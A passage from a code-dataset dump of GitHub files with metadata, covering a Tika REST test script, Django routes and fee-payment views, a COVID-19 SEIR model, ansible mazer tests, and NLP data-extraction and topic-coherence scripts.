"selenium.webdriver.common.by.By.XPATH", "line_number": 78, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 78, "usage_type": "name"}, {"api_name": "crawls.settings.LEROY_CONST", "line_number": 78, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 82, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 82, "usage_type": "name"}, {"api_name": "crawls.settings.LEROY_CONST", "line_number": 82, "usage_type": "name"}, {"api_name": "core.utils.get_price", "line_number": 83, "usage_type": "call"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 87, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 87, "usage_type": "name"}, {"api_name": "crawls.settings.LEROY_CONST", "line_number": 87, "usage_type": "name"}, {"api_name": "core.utils.get_price", "line_number": 88, "usage_type": "call"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 94, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 94, "usage_type": "name"}, {"api_name": "crawls.settings.LEROY_CONST", "line_number": 94, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 98, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 98, "usage_type": "name"}, {"api_name": "crawls.settings.LEROY_CONST", "line_number": 98, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 104, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 104, "usage_type": "name"}, {"api_name": "crawls.settings.LEROY_CONST", "line_number": 104, "usage_type": "name"}, {"api_name": "core.db_utils.create_db_objects", "line_number": 117, "usage_type": "call"}, {"api_name": "db.tables.leroy_products", "line_number": 118, "usage_type": "argument"}, {"api_name": "selenium.webdriver.support.ui.WebDriverWait", "line_number": 121, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions.presence_of_element_located", "line_number": 122, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions", "line_number": 122, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 123, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 123, "usage_type": "name"}, {"api_name": "crawls.settings.LEROY_CONST", "line_number": 123, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 128, "usage_type": "call"}]} {"seq_id": "20312541526", "text": "import argparse\nimport urlparse\nimport httplib2 as http\nimport json\n\nparser = argparse.ArgumentParser(description='Exercise the Tika REST API')\nparser.add_argument('--tika', type=str, default=\"http://localhost:9998\", help=\"The URI to the Tika Server\")\nparser.add_argument('--file', type=str, default=\"\", help=\"The file to process\")\nparser.add_argument('--count', type=int, default=1000, help=\"The number of times to process the given file\")\nargs = parser.parse_args()\n\nprint(\"Processing {} {} times\\n\").format(args.file, args.count)\n\npath = args.tika + \"/meta\"\nuri = urlparse.urlparse(path)\nmethod = 'PUT'\n\nwith open(args.file, 'r') as tikafile:\n body = tikafile.read()\n\nfor i in xrange(args.count):\n h = http.Http()\n\n headers = {\n 'Accept': 'application/json',\n 'Content-type': 'application/octet-stream'\n }\n\n response, content = h.request(uri.geturl(), method, body, headers)\n\n data = json.loads(content)\n", "repo_name": "ftcjeff/tikatest", "sub_path": "metadata.py", "file_name": "metadata.py", "file_ext": "py", "file_size_in_byte": 939, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 6, "usage_type": "call"}, {"api_name": "urlparse.urlparse", "line_number": 15, "usage_type": "call"}, {"api_name": "httplib2.Http", "line_number": 22, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 31, "usage_type": "call"}]} {"seq_id": "20679567761", "text": "from django.conf.urls import url\nfrom . import views\n\nurlpatterns = [\n url(r'^$', views.redirectAppointment),\n url(r'^view/$', views.viewAppointment, name='view'),\n\n url(r'^schedule/$', views.scheduleAppointment, name='schedule'),\n\n url(r'^doccreate/$', views.scheduleDoctor, name='scheduleDoctor'),\n url(r'^doccreate/(?P[0-9]+)/$', views.scheduleDoctor, name='scheduleDoctor'), # Pass in a patient\n\n url(r'^nurcreate/$', views.scheduleNurse, name='scheduleNurse'),\n url(r'^nurcreate/(?P[0-9]+)/$', views.scheduleNurse, name='scheduleNurse'), # Pass in a patient\n\n\n url(r'^update/(?P[0-9]+)/$', views.updateAppointment, name='update'),\n url(r'^delete/(?P[0-9]+)/$', views.deleteAppointment, name='delete'),\n]\n ", "repo_name": "philipbed/Healthnet15", "sub_path": "appointment/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 766, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "django.conf.urls.url", "line_number": 5, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 6, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 8, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 10, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 11, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 13, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 14, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 17, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 18, "usage_type": "call"}]} {"seq_id": "30486888173", "text": "\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom scipy.integrate import odeint\n\nfrom models.epidemicmodel import EpidemicModel\nfrom models.basic_math import calc_beta\nfrom parts.constants import *\n\n# Adding exposed delay before infectious\n# https://en.wikipedia.org/wiki/Compartmental_models_in_epidemiology\nclass SEIRModel:\n\tdef __init__(self):\n\t\tself.population = POP_DENVER\n\t\tself.dayspergen = 6.8\n\t\tself.r0 = 2.65\n\t\t# Infections caused while infected\n\t\tself.beta = calc_beta(self.r0, self.dayspergen)\n\t\t# Recoveries of infected per day\n\t\tself.gamma = 1.0 / self.dayspergen\n\n\t\tself.susceptible = self.population - 1\n\t\tself.infected = 1\n\t\tself.recovered = 0\n\n\t\tself.total_days = 0\n\n\t\tself.S_domain = []\n\t\tself.E_domain = []\n\t\tself.I_domain = []\n\t\tself.R_domain = []\n\n\t\tself.incubation = 0\n\t\tself.exposed = 0\n\t\tself.daystoisolation = 0\n\t\tself.daystorecovery = 0\n\t\tself.alpha = 0.2\n\t\tself.time_domain = None\n\n\tdef reset(self):\n\t\tself.susceptible = self.population - 1\n\t\tself.infected = 1\n\t\tself.recovered = 0\n\t\tself.exposed = 0\n\t\tself.total_days = 0\n\t\tself.S_domain = []\n\t\tself.E_domain = []\n\t\tself.I_domain = []\n\t\tself.R_domain = []\n\n\tdef set_exposed(self, value):\n\t\tself.exposed = value\n\n\tdef set_incubation_period(self, value):\n\t\tself.incubation = value\n\n\tdef set_days_to_isolation(self, value):\n\t\tself.daystoisolation = value\n\n\tdef recalculate(self):\n\t\tdays_infectious = (self.dayspergen - self.incubation) * 2\n\t\tself.alpha = 1.0 / self.incubation\n\t\tself.beta = calc_beta(self.r0, self.dayspergen)\n\t\tself.gamma = 1.0 / self.daystoisolation\n\n\tdef run_period(self, days):\n\t\tself.time_domain = np.linspace(0, days, days)\n\t\t# Initial conditions vector\n\t\tinit = self.susceptible, self.exposed, self.infected, self.recovered\n\t\t# Integrate the SIR equations over the time grid, t.\n\t\tresults = odeint(deriv_seir, init, self.time_domain, args=(self.population, self.alpha, self.beta, self.gamma))\n\t\tS, E, I, R = results.T\n\t\tself.total_days += days - 1\n\t\tself.S_domain.extend(S)\n\t\tself.E_domain.extend(E)\n\t\tself.I_domain.extend(I)\n\t\tself.R_domain.extend(R)\n\t\tself.susceptible = self.S_domain.pop()\n\t\tself.exposed = self.E_domain.pop()\n\t\tself.infected = self.I_domain.pop()\n\t\tself.recovered = self.R_domain.pop()\n\n\tdef run_r0_set(self, date_offsets, r0_values):\n\t\tself.susceptible = self.population - self.infected - self.recovered - self.exposed\n\n\t\tprev_date = 0\n\t\tfor itr in range(0, len(date_offsets)):\n\t\t\tself.set_r0(r0_values[itr])\n\t\t\tself.recalculate()\n\t\t\tspan = date_offsets[itr] - prev_date + 1\n\t\t\tself.run_period(span)\n\t\t\tprev_date = date_offsets[itr]\n\n\n# The SEIR model differential equations.\ndef deriv_seir(y, N, alpha, beta, gamma):\n\tS_0, E_0, I_0, R_0 = y\n\tinfections = beta * S_0 * I_0 / N\n\tsymptomatic = alpha * E_0\n\trecoveries = gamma * I_0\n\tdSdt = -infections\n\tdEdt = infections - symptomatic\n\tdIdt = symptomatic - recoveries\n\tdRdt = recoveries\n\treturn dSdt, dEdt, dIdt, dRdt\n\n\ndef test_seir():\n\tseirmodel = SEIRModel()\n\n\t# ref: dola denver est 2020 (july) 737855\n\t# ref: https://www.colorado.gov/pacific/cdphe/2019-novel-coronavirus\n\tseirmodel.set_population(POP_DENVER)\n\tseirmodel.set_mean_generation_days(6.8)\n\tseirmodel.set_r0(BASE_R0)\n\tseirmodel.set_incubation_period(3)\n\tseirmodel.set_days_to_isolation(3.8)\n\tseirmodel.recalculate()\n\tseirmodel.run_period(160)\n\n\tSu = seirmodel.S_domain\n\tEu = seirmodel.E_domain\n\tIu = seirmodel.I_domain\n\tRu = seirmodel.R_domain\n\n\tseirmodel.reset()\n\n\t# for calculating the effects of social distancing over time\n\n\t# social distancing 1 -- Day 35\n\tdate_offsets = [\t\t 36, \t\t\t\t 37, \t \t 38, \t\t\t 40, \t\t 43, \t\t 159]\n\tr0_values = [BASE_R0 -.25, \t\tBASE_R0 -.5, \t BASE_R0 -1, \t\t\tBASE_R0 -2, \t BASE_R0 -2.5,\t BASE_R0 -2.5]\n\n\t# social distancing 2 -- 45\n\t# date_offsets = [\t 45, \t\t\t47, \t \t 48, \t\t\t 50, \t\t 53, \t\t\t 159]\n\t# r0_values = [BASE_R0-.25, \t\tBASE_R0-.5, \t BASE_R0-1, \t\t\tBASE_R0-2, \t BASE_R0-2.5,\t BASE_R0-2.5]\n\n\tseirmodel.run_r0_set(date_offsets, r0_values)\n\n\tSc = seirmodel.S_domain\n\tEc = seirmodel.E_domain\n\tIc = seirmodel.I_domain\n\tRc = seirmodel.R_domain\n\n\ttime_domain = np.linspace(0, seirmodel.total_days, seirmodel.total_days)\n\n\tfig = plt.figure(facecolor='w')\n\t# ax = fig.add_subplot(111, axis_bgcolor='#dddddd', axisbelow=True)\n\tax = fig.add_subplot(111, axisbelow=True)\n\tax.plot(time_domain, Su, color=TABLEAU_BLUE, alpha=0.5, lw=2, label=f\"Susceptible, R0={BASE_R0}\", linestyle='-')\n\tax.plot(time_domain, Eu, color=TABLEAU_ORANGE, alpha=0.5, lw=2, label=f\"Exposed, R0={BASE_R0}\", linestyle='-')\n\tax.plot(time_domain, Iu, color=TABLEAU_RED, alpha=0.5, lw=2, label=f\"Infected, R0={BASE_R0}\", linestyle='-')\n\tax.plot(time_domain, Ru, color=TABLEAU_GREEN, alpha=0.5, lw=2, label=f\"Recovered, R0={BASE_R0}\", linestyle='-')\n\n\tax.plot(time_domain, Sc, color=TABLEAU_BLUE, alpha=0.5, lw=2, label=f\"Susceptible, Social Distancing\", linestyle='--')\n\tax.plot(time_domain, Ec, color=TABLEAU_ORANGE, alpha=0.5, lw=2, label=f\"Exposed, Social Distancing\", linestyle='--')\n\tax.plot(time_domain, Ic, color=TABLEAU_RED, alpha=0.5, lw=2, label=f\"Infected, Social Distancing\", linestyle='--')\n\tax.plot(time_domain, Rc, color=TABLEAU_GREEN, alpha=0.5, lw=2, label=f\"Recovered, Social Distancing\", linestyle='--')\n\n\tax.set_xlabel('Days')\n\tax.set_ylabel('Population')\n\n\tchart_title = f\"COVID-19 SEIR Model, Denver County\\n R0={BASE_R0} vs Social Distancing starting Day 35\"\n\tplt.title(chart_title, fontsize=14)\n\t# ax.set_ylim(0,1.2)\n\tax.yaxis.set_tick_params(length=4)\n\tax.xaxis.set_tick_params(length=4)\n\t# ax.grid(b=True, which='minor', c='w', lw=1, ls='--')\n\tax.grid()\n\tlegend = ax.legend()\n\tlegend.get_frame().set_alpha(0.5)\n\tfor spine in ('top', 'right', 'bottom', 'left'):\n\t\tax.spines[spine].set_visible(False)\n\n\toutfilename = \"_\".join(chart_title.replace(\"|\",\" \").replace(\":\", \" \").replace(\".\", \" \").split())\n\n\t# Write a CSV to this directory\n\twith open(f\"{outfilename}.csv\", 'w') as outfile:\n\t\tfor itr in range(0, len(Su)):\n\t\t\toutfile.write(f\"{Sc[itr]:.6f}, {Ec[itr]:.6f}, {Ic[itr]:.6f}, {Rc[itr]:.6f}\\n\")\n\n\tplt.savefig(f\"{outfilename}.png\", bbox_inches=\"tight\")\n\tplt.show()\n\n\nif __name__ == '__main__':\n\ttest_seir()\n", "repo_name": "Mythobeast/epidemicmodels", "sub_path": "models/seirmodel.py", "file_name": "seirmodel.py", "file_ext": "py", "file_size_in_byte": 6120, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 10, "dataset": "github-code", "pt": "7", "api": [{"api_name": "models.basic_math.calc_beta", "line_number": 18, "usage_type": "call"}, {"api_name": "models.basic_math.calc_beta", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 67, "usage_type": "call"}, {"api_name": "scipy.integrate.odeint", "line_number": 71, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 145, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 147, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 147, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 164, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 164, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 182, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 182, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 183, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 183, "usage_type": "name"}]} {"seq_id": "24812653287", "text": "\nimport datetime\nimport logging\nimport os\n\nimport semantic_version\n\nfrom ansible_galaxy import repository_archive\nfrom ansible_galaxy.models.repository_spec import RepositorySpec\nfrom ansible_galaxy.models.install_destination import InstallDestinationInfo\nfrom ansible_galaxy.models.install_info import InstallInfo\nfrom ansible_galaxy.models.installation_results import InstallationResults\nfrom ansible_galaxy.models.collection_artifact_archive import CollectionArtifactArchiveInfo\nfrom ansible_galaxy.models.collection_artifact_archive import CollectionArtifactArchive\nfrom ansible_galaxy.actions import build\nfrom ansible_galaxy.models.build_context import BuildContext\n\nlog = logging.getLogger(__name__)\n\n\ndef display_callback(msg, **kwargs):\n log.debug(msg)\n\n\ndef build_repo_artifact(galaxy_context_, tmp_dir):\n output_path = tmp_dir.mkdir('mazer_test_repository_archive_test_build')\n\n collection_path = os.path.join(os.path.dirname(__file__), 'collection_examples/hello')\n build_context = BuildContext(collection_path, output_path=output_path.strpath)\n ret = build._build(galaxy_context_, build_context, display_callback)\n\n log.debug('ret: %s', ret)\n\n return ret\n\n\ndef test_install(galaxy_context, tmpdir):\n built_res = build_repo_artifact(galaxy_context, tmpdir)\n archive_path = built_res['build_results'].artifact_file_path\n\n repo_archive = repository_archive.load_archive(archive_path)\n\n log.debug('repo_archive: %s', repo_archive)\n\n repo_spec = RepositorySpec(namespace='some_namespace',\n name='some_name',\n version='1.2.3')\n\n namespaced_repository_path = '%s/%s' % (repo_spec.namespace,\n repo_spec.name)\n\n destination_info = InstallDestinationInfo(collections_path=galaxy_context.collections_path,\n repository_spec=repo_spec,\n namespaced_repository_path=namespaced_repository_path,\n force_overwrite=True,\n editable=False)\n\n res = repository_archive.install(repo_archive, repo_spec, destination_info, display_callback=display_callback)\n\n log.debug('res: %s', res)\n\n assert isinstance(res, InstallationResults)\n assert isinstance(res.install_info, InstallInfo)\n assert isinstance(res.install_info.version, semantic_version.Version)\n assert isinstance(res.installed_datetime, datetime.datetime)\n\n\ndef test_load_from_archive(galaxy_context, tmpdir):\n built_res = build_repo_artifact(galaxy_context, tmpdir)\n archive_path = built_res['build_results'].artifact_file_path\n\n res = repository_archive.load_archive(archive_path)\n\n log.debug('res: %s', res)\n\n assert isinstance(res, CollectionArtifactArchive)\n assert isinstance(res.info, CollectionArtifactArchiveInfo)\n\n # CollectionRepositoryArtifactArchive(info=RepositoryArchiveInfo(archive_type='multi-content-artifact', top_dir='greetings_namespace.hello-11.11.11'\n assert res.info.archive_type == 'multi-content-artifact'\n\n assert res.info.top_dir == ''\n", "repo_name": "ansible/mazer", "sub_path": "tests/ansible_galaxy/test_repository_archive.py", "file_name": "test_repository_archive.py", "file_ext": "py", "file_size_in_byte": 3180, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 113, "dataset": "github-code", "pt": "7", "api": [{"api_name": "logging.getLogger", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path", "line_number": 28, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 28, "usage_type": "call"}, {"api_name": "ansible_galaxy.models.build_context.BuildContext", "line_number": 29, "usage_type": "call"}, {"api_name": "ansible_galaxy.actions.build._build", "line_number": 30, "usage_type": "call"}, {"api_name": "ansible_galaxy.actions.build", "line_number": 30, "usage_type": "name"}, {"api_name": "ansible_galaxy.repository_archive.load_archive", "line_number": 41, "usage_type": "call"}, {"api_name": "ansible_galaxy.repository_archive", "line_number": 41, "usage_type": "name"}, {"api_name": "ansible_galaxy.models.repository_spec.RepositorySpec", "line_number": 45, "usage_type": "call"}, {"api_name": "ansible_galaxy.models.install_destination.InstallDestinationInfo", "line_number": 52, "usage_type": "call"}, {"api_name": "ansible_galaxy.repository_archive.install", "line_number": 58, "usage_type": "call"}, {"api_name": "ansible_galaxy.repository_archive", "line_number": 58, "usage_type": "name"}, {"api_name": "ansible_galaxy.models.installation_results.InstallationResults", "line_number": 62, "usage_type": "argument"}, {"api_name": "ansible_galaxy.models.install_info.InstallInfo", "line_number": 63, "usage_type": "argument"}, {"api_name": "semantic_version.Version", "line_number": 64, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 65, "usage_type": "attribute"}, {"api_name": "ansible_galaxy.repository_archive.load_archive", "line_number": 72, "usage_type": "call"}, {"api_name": "ansible_galaxy.repository_archive", "line_number": 72, "usage_type": "name"}, {"api_name": "ansible_galaxy.models.collection_artifact_archive.CollectionArtifactArchive", "line_number": 76, "usage_type": "argument"}, {"api_name": "ansible_galaxy.models.collection_artifact_archive.CollectionArtifactArchiveInfo", "line_number": 77, "usage_type": "argument"}]} {"seq_id": "21545739748", "text": "\"\"\"\nUsed to extract articles from the csv of a labelled dataset containing\nnews articles labelled as biased/not biased/inconclusive. Each article\nis extracted to its own txt file inside a folder with the appropriate\nlabel. The labelled dataset used is referenced below:\n\nSpinde, T., 2021. MBIC – A Media Bias Annotation Dataset [online].\nAvailable from: https://www.kaggle.com/datasets/timospinde/mbic-a-media-bias-annotation-dataset?resource=download\n[Accessed 19 April 2023].\n\"\"\"\nimport pandas as pd\nfrom nltk.corpus import stopwords\n\n# read in the csv to a pandas dataframe to easily access data\nlabelled_dataset = pd.read_csv(\"/Volumes/24265241/Supervised Training/labeled_dataset.csv\")\n\n\ndef extract_biased_words(save_path: str):\n \"\"\"\n Used to extract the all words listed in the 'biased_words4' column\n of the labelled dataset. These are words that were identified as\n indicating bias when the dataset was originally labelled.\n :param save_path: location to save the words to\n \"\"\"\n biased_words = labelled_dataset[\"biased_words4\"].values\n\n output_holder = set() # prevents duplicates being extracted\n\n for word_list in biased_words:\n if word_list == \"[]\": # ignore entries with no words\n continue\n\n list_items = word_list.strip(\"[]\").split(\", \") # remove brackets and split by comma\n for item in list_items:\n output_holder.add(item.strip(\"'\\\"\").lower()) # remove quote marks and add to the word list\n\n # save to external file\n with open(save_path, \"w\") as f:\n for item in sorted(output_holder): # sort the words for ease of use in future\n if item.casefold() != \"\" and item not in stopwords.words(\"english\"): # ignore any blank lines or stopwords\n f.write(item + \"\\n\") # save each word on a new line\n\n\ndef extract_training_data():\n \"\"\"\n Used to extract all articles from the labelled dataset to an appropriate\n pre-defined folder based on their assigned label in order to be used for\n training a supervised model to detect the difference between biased and\n non-biased news articles. Any articles that have not been classified as\n either biased or non-biased are also extracted to a separate folder as\n features in these articles are seemingly inconclusive and should not be\n considered as features for the classification model.\n \"\"\"\n required_data = labelled_dataset[[\"Label_bias\", \"article\"]].values\n\n # count articles as to not overwrite articles already extracted\n biased_article_count = 0\n non_biased_article_count = 0\n unclassified_article_count = 0\n\n for article in required_data:\n if article[1].__class__ != str:\n # handle entries with no article text\n continue\n if article[0] == \"Biased\":\n # save biased articles to a biased folder\n with open(f\"/Volumes/24265241/Supervised Training/Biased/article{biased_article_count}.txt\", \"w\") as f:\n f.write(article[1])\n biased_article_count += 1\n elif article[0] == \"Non-biased\":\n # save non-biased articles to a non-biased folder\n with open(f\"/Volumes/24265241/Supervised Training/Non-biased/article{non_biased_article_count}.txt\",\n \"w\") as f:\n f.write(article[1])\n non_biased_article_count += 1\n else:\n # save unclassified articles to a separate folder\n with open(f\"/Volumes/24265241/Supervised Training/Unclassified/article{unclassified_article_count}.txt\",\n \"w\") as f:\n f.write(article[1])\n unclassified_article_count += 1\n\n\nif __name__ == '__main__':\n\n extract_biased_words(\"/Volumes/24265241/Supervised Training/biased_words.txt\")\n extract_training_data()\n", "repo_name": "JackSmith00/Dissertation-Project", "sub_path": "sentiment_analysis/training_data_extraction.py", "file_name": "training_data_extraction.py", "file_ext": "py", "file_size_in_byte": 3832, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pandas.read_csv", "line_number": 15, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords.words", "line_number": 40, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords", "line_number": 40, "usage_type": "name"}]} {"seq_id": "8307224949", "text": "import argparse\nimport math\n\nimport embedding\nfrom embedding import id2node\nfrom embedding import node_children\nfrom embedding import node_words\nfrom embedding import nodes_per_level\n\n\ndef coherence(topic_a, topic_b):\n c = 0\n for word_a in node_words[topic_a]:\n for word_b in node_words[topic_b]:\n d_i_j = len(sparse[word_a].intersection(sparse[word_b]))\n u = len(sparse[word_a].union(sparse[word_b]))\n c += math.log((d_i_j + 1) / u)\n return c / (len(node_words[topic_a]) * len(node_words[topic_b]))\n\n\ndef append_to_text(text):\n f = open(export_file, 'a')\n f.write(text)\n f.close()\n\n\ndef parent_child_coherence():\n avg = cnt = 0\n for node in node_children:\n if len(node_children[node]) == 0:\n continue\n c = 0\n for child in node_children[node]:\n c += coherence(node, child)\n c /= len(node_children[node])\n avg += c\n cnt += 1\n avg = avg / cnt\n append_to_text('Parent-child topic coherence' + '\\n' + str(avg) + '\\n')\n\n\ndef inter_coherence():\n avg = 0\n append_to_text('Inter topic coherence' + '\\n')\n for level in nodes_per_level:\n n = len(nodes_per_level[level])\n print('Calculating inter coherence of', n, 'topics on level', level)\n c = 0\n for i in range(n):\n for j in range(i + 1, n):\n c += coherence(id2node[level][i], id2node[level][j])\n c = c / (n * (n - 1) / 2)\n append_to_text('Level ' + str(level) + '\\n' + str(c) + '\\n')\n avg += c\n avg = avg / len(nodes_per_level)\n append_to_text('All levels average' + '\\n' + str(avg) + '\\n')\n\n\ndef load_word_sparse(name):\n with open(name, 'r') as read_file:\n doc_words = read_file.read().split('\\n')\n word_doc = {}\n for i in doc_words:\n if len(i) == 0:\n continue\n tmp = i.split(\", \")\n if tmp[1] not in word_doc:\n word_doc[tmp[1]] = set()\n word_doc[tmp[1]].add(int(tmp[0]))\n return word_doc\n\n\nparser = argparse.ArgumentParser(description='Evaluate inter topics coherence')\nparser.add_argument('topics', type=str, help='Topics on json format')\nparser.add_argument('sparse', type=str, help='File with the dataset sparse')\nparser.add_argument('export_file', type=str, help='File to export the results')\nparser.add_argument('--inter_coherence', action='store_true', help='Use Spanish entities')\nparser.add_argument('--parent_child_coherence', action='store_true', help='Use Spanish entities')\nparser.add_argument('--all_metrics', action='store_true', help='Use Spanish entities')\nargs = parser.parse_args()\n\nembedding.prefixes = ['']\nembedding.topic_file = args.topics\nembedding.load_nodes('')\nsparse = load_word_sparse(args.sparse)\nexport_file = args.export_file\nif args.inter_coherence or args.all_metrics:\n inter_coherence()\nif args.parent_child_coherence or args.all_metrics:\n parent_child_coherence()\n", "repo_name": "jccaleroe/GFSC-for-entity-topics", "sub_path": "fusion/inter_coherence.py", "file_name": "inter_coherence.py", "file_ext": "py", "file_size_in_byte": 2942, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "7", "api": [{"api_name": "embedding.node_words", "line_number": 13, "usage_type": "name"}, {"api_name": "embedding.node_words", "line_number": 14, "usage_type": "name"}, {"api_name": "math.log", "line_number": 17, "usage_type": "call"}, {"api_name": "embedding.node_words", "line_number": 18, "usage_type": "name"}, {"api_name": "embedding.node_children", "line_number": 29, "usage_type": "name"}, {"api_name": "embedding.node_children", "line_number": 30, "usage_type": "name"}, {"api_name": "embedding.node_children", "line_number": 33, "usage_type": "name"}, {"api_name": "embedding.node_children", "line_number": 35, "usage_type": "name"}, {"api_name": "embedding.nodes_per_level", "line_number": 45, "usage_type": "name"}, {"api_name": "embedding.nodes_per_level", "line_number": 46, "usage_type": "name"}, {"api_name": "embedding.id2node", "line_number": 51, "usage_type": "name"}, {"api_name": "embedding.nodes_per_level", "line_number": 55, "usage_type": "argument"}, {"api_name": "argparse.ArgumentParser", "line_number": 73, "usage_type": "call"}, {"api_name": "embedding.prefixes", "line_number": 82, "usage_type": "attribute"}, {"api_name": "embedding.topic_file", "line_number": 83, "usage_type": "attribute"}, {"api_name": "embedding.load_nodes", "line_number": 84, "usage_type": "call"}]} {"seq_id": "8548453386", "text": "from django.shortcuts import render, render_to_response\nfrom django.http import JsonResponse, HttpResponse\nfrom .forms import SignUpForm, FeepaymentForm\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.contrib.auth.models import User\nfrom .models import Student, Institute, Branch, FeeType, Fee, Transaction\nimport razorpay\nfrom django.template.loader import get_template\nfrom xhtml2pdf import pisa\n\n\n# from student.utils import render_to_pdf\n# Create your views here.\n\ndef student_index(request):\n return render(request,'student/student_index.html')\n\n\ndef registration(request):\n return render(request,'student/registration.html')\n\n\n@csrf_exempt\ndef get_branches(request):\n if request.method == 'POST':\n data = []\n institute = request.POST.get('countryId', '')\n \n option = \"\"\n # branches = Branch.objects.get(institute=institute)\n for branch in Branch.objects.filter(institute=institute, is_active=True):\n option += \",\" \n # option = \"\"\n # data.append(str(option))\n return HttpResponse(option)\n\n\n@csrf_exempt\ndef signup(request):\n if request.method == 'POST':\n form = SignUpForm(request.POST)\n if form.is_valid():\n print(\"form valid\")\n form.save()\n username = form.cleaned_data.get('username')\n user = User.objects.get(username=username)\n contact = form.cleaned_data.get('contact')\n enrol_no = form.cleaned_data.get('enrol_no')\n institute = form.cleaned_data.get('institute')\n branch = form.cleaned_data.get('branch')\n course = form.cleaned_data.get('course')\n birth_date = form.cleaned_data.get('birth_date')\n\n st = Student.objects.create(user=user,enrol_no=enrol_no,contact=contact,institute=institute,branch=branch,course=course,birth_date=birth_date)\n form = SignUpForm(request.GET)\n return render(request, 'student/signup.html', {'form': form, 'errors': form.errors})\n else:\n print(\"form invalid\")\n return render(request, 'student/signup.html', {'form': form, 'errors': form.errors})\n\n if request.method == 'GET':\n form = SignUpForm(request.GET)\n return render(request, 'student/signup.html', {'form': form})\n\ndef fees(request):\n if request.method == 'POST':\n form = FeepaymentForm(request.POST)\n if form.is_valid():\n form = FeepaymentForm(request.GET)\n # fee_type = FeeType.objects.all()\n fee_type = FeeType.objects.filter(is_active=True)\n print(\"===fee_type===\",fee_type)\n return render(request, 'student/fees.html', {'form': form, 'errors': form.errors, 'fee_type':fee_type})\n else:\n print(\"form invalid\")\n return render(request, 'student/fees.html', {'form': form, 'errors': form.errors})\n\n if request.method == 'GET':\n # fee_type = FeeType.objects.all()\n fee_type = FeeType.objects.filter(is_active=True)\n print(\"===fee_type===\",fee_type)\n form = FeepaymentForm(request.GET)\n form = FeepaymentForm(request.GET)\n user = request.user\n return render(request, 'student/fees.html', {'form': form,'fee_type':fee_type, 'user':user})\n\n@csrf_exempt\ndef calculate_fees(request):\n data = {}\n if request.method == 'POST':\n fee_id = request.POST.get('fee_id', '')\n status = request.POST.get('status', '')\n fee = FeeType.objects.get(id=fee_id)\n amount = fee.amount\n if status == 'true':\n data['amount'] = amount\n else:\n data['amount'] = -amount\n else:\n data['success'] = False\n return JsonResponse(data)\n\n@csrf_exempt\ndef final_amount(request):\n data = {}\n if request.method == 'POST':\n exam_name = request.POST.getlist('name_array[]')\n amount = 0\n for exam in exam_name:\n ft = FeeType.objects.get(name=exam)\n amount += ft.amount\n data['amount'] = amount\n else:\n data['success'] = False\n print(data)\n return JsonResponse(data)\n\n@csrf_exempt\ndef add_fees(request):\n data = {}\n if request.method == 'POST':\n amount = request.POST.get('amount', '')\n exam_name = request.POST.getlist('name_array[]')\n payment_id = request.POST.get('payment_id', '')\n user = request.user\n # fee_id = Fee.objects.create(user=user, amount=amount, payment_id=payment_id)\n fee_id,created = Fee.objects.get_or_create(user=user)\n fee_id.amount= amount\n fee_id.payment_id= payment_id\n\n for exam in exam_name:\n ft = FeeType.objects.get(name=exam)\n fee_id.fees_paid.add(ft) \n fee_id.save()\n client = 